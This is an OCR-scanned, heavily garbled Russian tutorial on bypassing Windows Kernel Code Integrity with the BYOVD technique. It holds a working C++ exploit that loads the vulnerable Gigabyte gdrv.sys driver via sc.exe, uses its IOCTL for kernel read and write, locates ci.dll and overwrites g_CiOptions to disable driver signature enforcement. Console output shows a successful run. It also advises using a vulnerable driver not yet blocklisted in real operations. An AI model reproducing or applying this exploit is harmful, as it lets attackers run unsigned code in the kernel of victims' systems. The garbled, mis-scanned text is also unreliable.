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BBepmenue

CraThsl IEMOHCTPUPYET Kak aTakytoiue o0xomat 3amuTty Windows Kernel Code Integrity
ucnonb3ys Texuuky BYOVD (Bring Your Own Vulnerable Driver) ang nonydesus
IIPUMUTHUBOB uTeHusd/3anucu sgpa. Code Integrity — aTto yacte Windows KoToOpast mpoBepsieT
SBISETCS JIU (pailsl «JOBEPEHHBIM» Iepe[ TeM KaK IT03BOJIUTh €My 3allyCTUTHCH.


https://core-jmp.org/2026/03/bypassing-code-integrity-using-byovd-for-kernel-r-w-primitives/
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BOOL disableDSE(HANDLE drv, DWORD6Y4 ciBaseAddress) {
DWORD6Y ci_optionsAddress = ciBaseAddress + g_offsets.FromCItoC_giOptions;
[//cout << “"g_CiOptions Address " << ciBaseAddress;
cout << "g_CiOptions Address: @x" << hex << ci_optionsAddress << endl;

// Values
// Bitmask

f// --- Single bits ---

// 8x8 = Active (CI fully enforced)

// 8x1 = Disable code integrity

// 8x2 = Test Signing Mode

// 8x4 = Chill Checks

// 8x8 = Permissive, partial bypass

// — Combined —-

// 8x3 = Disable CI + Test Signing

// 8x5 = Disable CI + Chill Checks

// 8x6 = Test Signing + Chill Checks

// 8x7 = Disable CI + Test Signing + Chill Checks
// 8x9 = Disable CI + Permissive

// BxA = Test Signing + Permissive

// BxB = Disable CI + Test Signing + Permissive
// 8xC = Chill Checks + Permissive

// 8xD = Disable CI + Chill Checks + Permissive
// BXE = Test Signing + Chill Checks + Permissive
// 8xF = ALl flags (Disable CI + Test Signing + Chill Checks + Permissive)

BYTE newValue = @xF;
BOOL resultWritten = WritePrimitive(drv, (LPVOID)ci_optionsAddress, (LPVOID)&newValue, sizeof(BYTE));
if (resultWritten) {
cout << "New bytes written into DSE field " << endl;
return TRUE;
}
else {
return FALSE;
}

KomnorenTr Code Integrity

* CI (Code Integrity) — ocHOBHOU OBUKOK, IIPOBEPSIOMIUH X3IHX (HaiiyioB

» DSE (Driver Signature Enforcement) — o6s13aTenpHas uudposas MOANUCH AT
IpanBepoB

» Test Mode — pexum pa3paboTurKa, ITO3BOISIONINN CAMOIIOANMCAHHBIE CEPTU(PUKATEI

» UMCI (User-Mode Code Integrity) — pacmmpsieT mpaBusia Ha IPUTOKEHUS

 Audit Mode — Tuxoe mpuMeHeHUe OTUTUK C JIOTHPOBAHUEM
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1. MeTomonorus 3KCIUTyaTallul
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OnucaHue
Active (CI IOTHOCTBIO IIPUMEHSIETCS)

0x1 Otkmiouenue Code Integrity

0x2 Pexwuwm Test Signing

0Ox4 Ocnabnennsie npoBepku (Chill Checks)
0x8 Pa3pemuTenbHb 00x01 (Permissive)
KoMOuHaImmu:

3HavyeHHE Omucanne
0x3 Disable CI + Test Signing

0x5 Disable CI + Chill Checks

0x6 Test Signing + Chill Checks

0x7 Disable CI + Test Signing + Chill Checks
0x9 Disable CI + Permissive

OxA Test Signing + Permissive

OxB Disable CI + Test Signing + Permissive
OxC Chill Checks + Permissive

OxD Disable CI + Chill Checks + Permissive
OxE Test Signing + Chill Checks + Permissive
OxF Bce ¢maru (Disable CI + Test Signing + Chill Checks + Permissive)



2. ITosnimenne npusuneruit — SeDebugPrivilege

OkcnmouT ucnons3yet OpenProcessToken u AdjustTokenPrivileges nns BKIOYeHUS
OTJIagOYHBIX ITPaB:

BOOL EnableSeDebugPrivilege()
{
HANDLE hToken;
TOKEN PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN ADJUST PRIVILEGES
| TOKEN QUERY, &hToken))
{
std::cerr << "OpenProcessToken failed: " << GetLastError() <<
std::endl;
return FALSE;

}
if (!'LookupPrivilegeValue(NULL, SE DEBUG NAME, &luid))

{
std::cerr << "LookupPrivilegeValue failed: " << GetLastError()
<< std::endl;
CloseHandle(hToken) ;
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE PRIVILEGE ENABLED;
if (!'AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof (TOKEN PRIVILEGES), NULL, NULL))

{

std::cerr << "AdjustTokenPrivileges failed: " <<
GetLastError() << std::endl;
CloseHandle(hToken) ;
return FALSE;
}

CloseHandle(hToken) ;



return TRUE;

3. Obuapyxenue CI.dll B smpe

Hcnonb3yetrcs NtQuerySystemInformation (SystemModulelnformation=11) gns
IIepevyrCclIeHus SOepHBIX MOOyJel u moucka 6a3oBoro agpeca ci.dll:

typedef struct SYSTEM MODULE ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM MODULE ENTRY, * PSYSTEM MODULE ENTRY;

typedef struct SYSTEM MODULE INFORMATION {
ULONG Count;
SYSTEM MODULE ENTRY Modules[1];
} SYSTEM MODULE INFORMATION, * PSYSTEM MODULE INFORMATION;

struct KernelDriver {
std::string Name;
uintptr_t BaseAddress;
uint32 t Size;

b

std::vector GetSortedKernelDrivers() {
std::vector driverlList;

auto NtQuerySystemInformation =



(pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation) return driverList;

ULONG len = 0;
const int SystemModuleInformation = 11;

NtQuerySystemInformation((SYSTEM INFORMATION CLASS)SystemModuleInforma
tion, NULL, 0, &len);

std::vector buffer(len);

NTSTATUS status = NtQuerySystemInformation(
(SYSTEM INFORMATION CLASS)SystemModuleInformation,
buffer.data(), len, &len

);
if (status !'= 0) return driverList;
auto mods = reinterpret cast(buffer.data());

for (ULONG i = 0; i < mods->Count; i++) {
SYSTEM MODULE ENTRY& entry = mods->Modules[il];
KernelDriver drv;
drv.BaseAddress = reinterpret cast(entry.ImageBase);
drv.Size = entry.ImageSize;
const char* nameStart = reinterpret cast(entry.FullPathName)
+ entry.0ffsetToFileName;
drv.Name = std::string(nameStart);
driverList.push back(drv);

}

std::sort(driverList.begin(), driverList.end(),
[I(const KernelDriver& a, const KernelDriver& b) {
return a.BaseAddress < b.BaseAddress;

});

return driverList;



}

DWORD64 GetCIBase(const std::vector& drivers) {
for (const auto& drv : drivers) {
std::string namelLower = drv.Name;
std::transform(nameLower.begin(), nameLower.end(),

nameLower.begin(), ::tolower);
if (nameLower.find("ci.dll") !'= std::string::npos) {
return (DWORD64)drv.BaseAddress;
}
}
return 0;

4. Onpepenenue cMemenus g CiOptions

Komangst WinDbg g oOHapyxenuss g CiOptions:

lkd> .symfix

lkd> .reload

lkd> Im m CI

lkd> x CI'g CiOptions

lkd> ? CI'g CiOptions - (I

Evaluate expression : 327684 = 00000000 00050004



module name
182" 3dcS54000 EX

CMmerieHne 3aBUCUT OT Bepcun: O0x50004 (Windows 11) unu 0x4d004 (TeCcTOBBIE CPEMHI).

struct offsets {
ULONG64 FromCItoC giOptions;

} g offsets = {
//0x50004 // MaldevWinll machine
0x4d004  // Winll test sandboxes

};

5. Y4A3BUMHY OpaiBep U NPUMUTHUBH AOpa

9kcnmout ucnons3yet Gigabyte gdrv.sys. 3arpy3ka gpaiiBepa

sc.exe create gdrv.sys binPath=C:\windows\temp\gdrv.sys type=kernel &&
sc.exe start gdrv.sys

B ma"HHOM CJly4ae 3TO He JIy4IlIUY OpauBep — OH OWH U3 CaMBIX 3KCIIIyaTUPYEeMBIX B
VCTOPHUY, YTO O3HAYaAeT ero IPUCYTCTBUE B 4epHOM criucke Windows. [I7151 3aTpy3Ku 3TOTO
IparBepa HyKHO UMEeTh OTKJIIOUEHHbBIE pa3nuyHble nonutuku Code Integrity. B mpogakien-
omepalyy Hy>KHO UCIIOIb30BaTh YA3BUMBIM ApaiBep, ellle€ He BHECEHHBIM B YEPHBIN CIIUCOK,
HO UMeRIIny npuMUTUBEL R/W daapa.

CchlNiKa Ha JpaiBep:
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https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

IOCTL 0xC3502808 obecneunBaeT IPOM3BOILHOE YTEHHE/3AIKUCh IIaMSITH SIIpa yepe3
copmupoBanHbie 3anpockl DeviceIoControl.

5.1 DriverOps.h — NpUMHUTHBE YTEeHHUS/3aUCH

#include
#include

#define IOCTL READWRITE PRIMITIVE 0x(C3502808

typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;

} KernelWritePrimitive;

typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;

} KernelReadPrimitive;

BOOL WritePrimitive (HANDLE driver, LPVOID dst, LPVOID src, DWORD size)
{

KernelWritePrimitive kwp;

kwp.dst = dst;

kwp.src = src;

kwp.size = size;

BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceloControl(driver, IOCTL READWRITE PRIMITIVE,
(LPVOID)&kwp, sizeof(kwp),
(LPVOID)bufferReturned,
sizeof(bufferReturned),
&returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error: " <<



GetLastError() << endl;
return FALSE;
}

cout << "Write primitive sent. Bytes returned: " << returned <<
endl;
return TRUE;

}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size)
{

KernelReadPrimitive krp;

krp.dst dst;

krp.src Src;

krp.size = size;

DWORD returned = 0;
BOOL result = DeviceloControl(driver, IOCTL READWRITE PRIMITIVE,
(LPVOID)&krp, sizeof(krp),
(LPVOID)dst, size,
&returned, nullptr);
if (!'result) {
cout << "Failed to send read primitive. Error: " <<
GetLastError() << endl;
return FALSE;
}

cout << "Read primitive sent. Bytes returned: " << returned <<
endl;
return TRUE;

}

HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO",
GENERIC READ | GENERIC WRITE, 0,
nullptr,

OPEN EXISTING, FILE ATTRIBUTE NORMAL,
nullptr);

if (!driver || driver == INVALID HANDLE VALUE) {
cout << "Failed to open driver. Error: " << GetLastError() <<



endl;
return NULL;

}

return driver;

6. OTtkmoueHue DSE

OvHanpHag GyHKUKS Mopuduuupyet 6uToByl0 Macky g CiOptions ucnonb3ys NpUMHUTHUB
3amucy sgpa. Mel gobaBiseM IBa IPUMUTUBA YTeHUS YTOOH IT0Ka3aTh 3HAUYEHUE [0 U IOCIIe
MoOu(pUKaIu:

BOOL disableDSE(HANDLE drv, DWORD64 ciBaseAddress) {

DWORD64 ci optionsAddress = ciBaseAddress +
g offsets.FromCItoC giOptions;

cout << "g CiOptions Address: Ox" << hex << ci optionsAddress <<
endl;

// Values
// Bitmask

// --- Single bits ---
// 0x0 = Active (CI fully enforced)

// 0x1 = Disable code integrity

// 0x2 = Test Signing Mode

// 0x4 = Chill Checks

// 0x8 = Permissive, partial bypass
// --- Combined ---

// 0x3 = Disable CI + Test Signing

// 0x5 = Disable CI + Chill Checks

// 0x6 = Test Signing + Chill Checks

// Ox7 = Disable CI + Test Signing + Chill Checks
// 0x9 = Disable CI + Permissive

// OXA = Test Signing + Permissive

// OxB = Disable CI + Test Signing + Permissive



// OxC = Chill Checks + Permissive

// OxD = Disable CI + Chill Checks + Permissive

// OXE = Test Signing + Chill Checks + Permissive

// OxF = All flags (Disable CI + Test Signing + Chill Checks +
Permissive)

BYTE currentValue = 0;

ReadPrimitive(drv, (LPVOID)&currentValue, (LPVOID)ci optionsAddress,
sizeof (BYTE));

cout << "g CiOptions before: Ox" << hex << (int)currentValue << endl;

BYTE newValue = OxF;
BOOL resultWritten = WritePrimitive(drv, (LPVOID)ci optionsAddress,
(LPVOID)&newValue,
sizeof (BYTE));
if (resultWritten) {
cout << "New bytes written into DSE field " << endl;
ReadPrimitive(drv, (LPVOID)&currentValue, (LPVOID)ci optionsAddress,
sizeof (BYTE));
cout << "g CiOptions after: Ox" << hex << (int)currentValue <<
endl;
return TRUE;
}
else {
return FALSE;
}
}

6.1 main()

int main(int argc, char* argv[])

{

// 1. Bknw4yeHne SeDebugPrivilege pgna Tekywero npouecca
BOOL setPriv = EnableSeDebugPrivilege();

// 2. CMeweHnsa 3axapOkKoxeHol (3aBucaAT oT Bepcum Windows)

// 3. MNepeuncneHne BCex OpavBepoB



vector drivers = GetSortedKernelDrivers();

// 4. NMony4yeHue 6azosoro agpeca CI.dll

DWORD64 ciDLLBase = GetCIBase(drivers);

cout << "CI.dll Base address " << ciDLLBase << endl;
getchar();

HANDLE drv = openVulnDriver();
if (drv == NULL || drv == INVALID HANDLE VALUE) {
cout << "Error opening driver" << endl;

return -1;

}

// 5. OtknwyeHune DSE
BOOL result = disableDSE(drv, ciDLLBase);
return 0;

}

:\Users\sl2de\Desktop>DSEDisableFromRuWKernel.exe
I.dl]l Base address 18446735295986335744

_CiOptions Address: exfffff8e446f1dee4
Read primitive sent successfully. Bytes returned: ©
_CiOptions before: @xe

rite primitive sent successfully. Bytes returned: ©
New bytes written into DSE field
Read primitive sent successfully. Bytes returned: ©
g CiOptions after: oxf

:\Users\s12de\Desktop>
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3akinoyeHue

Texnuka BYOVD (Bring Your Own Vulnerable Driver) octaércst opHuM u3 Haubosee
abdeKkTUBHBIX crtoco00B 06xona monuTuk Code Integrity, moromy uTo oHa o6opaunBaeT
JIETUTAMHBIN OANIMCAaHHBIM aKTUB IIPOTUB CaMOM CUCTeMEl. MCIoNb3ysl NPUMUTHUB
yTeHUsd/3anucu sagpa and natyuara g Ci0ptions B maMsaTu, MB 3QHEKTUBHO «OCIENIAEM»
OC, mo3Bossisg 3arpyXKaTh HETIOAMCAHHBIN KO B HauboJiee MPUBUJIETUPOBAHHBIE 00J1aCTH
Windows.

Vs3BUMEBIE TpaiBepHl OCTAIOTCS KPYITHOM ITOBEPXHOCTBIO aTaKX MIOTOMY 4YTO OHU paboTaloT ¢
npuBuneruaMu Ring-0 u ABNSAIOTCSA OBEPEHHBIMU OIS ONEPAllMOHHONW CACTEMEL.
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